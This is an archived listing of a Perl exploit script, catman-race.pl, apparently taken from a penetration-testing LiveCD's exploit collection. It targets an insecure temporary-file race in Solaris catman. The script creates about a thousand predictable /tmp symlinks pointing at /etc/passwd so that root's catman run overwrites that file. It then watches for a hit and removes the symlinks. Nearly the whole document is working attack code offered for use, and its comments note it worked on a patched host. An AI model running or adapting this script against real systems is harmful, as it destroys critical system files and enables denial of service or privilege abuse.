home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / catman-race.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  54 lines

  1. #!/usr/local/bin/perl -w 
  2. # The problem is catman creates files in /tmp insecurly. They are based on the 
  3. # PID of the catman process,  catman will happily clobber any files that are 
  4. # symlinked to that file.
  5. # The idea of this script is to create a block of symlinks to the target file 
  6. # with the current PID  as a starting point.  Depending on what load your
  7. # system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
  8. # The drawback is you would have to know around when root would be executing 
  9. # catman. 
  10. # A better solution would be to monitor for the catman process and create the 
  11. # link before catman creates the file.  I think this is a really small window 
  12. # however. This worked on a patched Solaris 2.7 box (August 2000 patch
  13. # cluster)
  14. # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
  15. # lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
  16. # http://vapid.betteros.org
  17.  
  18. $clobber = "/etc/passwd"; #file to clobber
  19. $X=getpgrp();
  20. $Xc=$X; #Constant
  21. $Y=$X+1000;#Constant
  22.  
  23. while($X < $Y) {
  24.  
  25. print "Linking /tmp/sman_$X to $clobber :"; 
  26. # Change $clobber to what you want to clobber.
  27. if (symlink ($clobber, "/tmp/sman_$X")) {
  28.         print "Sucess\n";
  29. }
  30.         else { print "failed, Busy system?\n";}
  31. $X=$X+1;
  32. }
  33.  
  34.  
  35. #Watch /tmp and see if catman is executed in time.
  36.  
  37. while(1)  {
  38.  
  39. $list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
  40.  
  41. open (list,$list) or "die cant open ls...\n";
  42.  
  43. while(<list>) {
  44.         @args = split "_",$_;
  45.         chop ($args[1]);
  46.     if ($args[1] >= $Xc && $args[1] <= $Y){
  47.                 print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
  48.                 `/usr/bin/rm -f /tmp/sman*`;
  49.                 exit(1);
  50.     }
  51.   }
  52. }
  53.  
  54.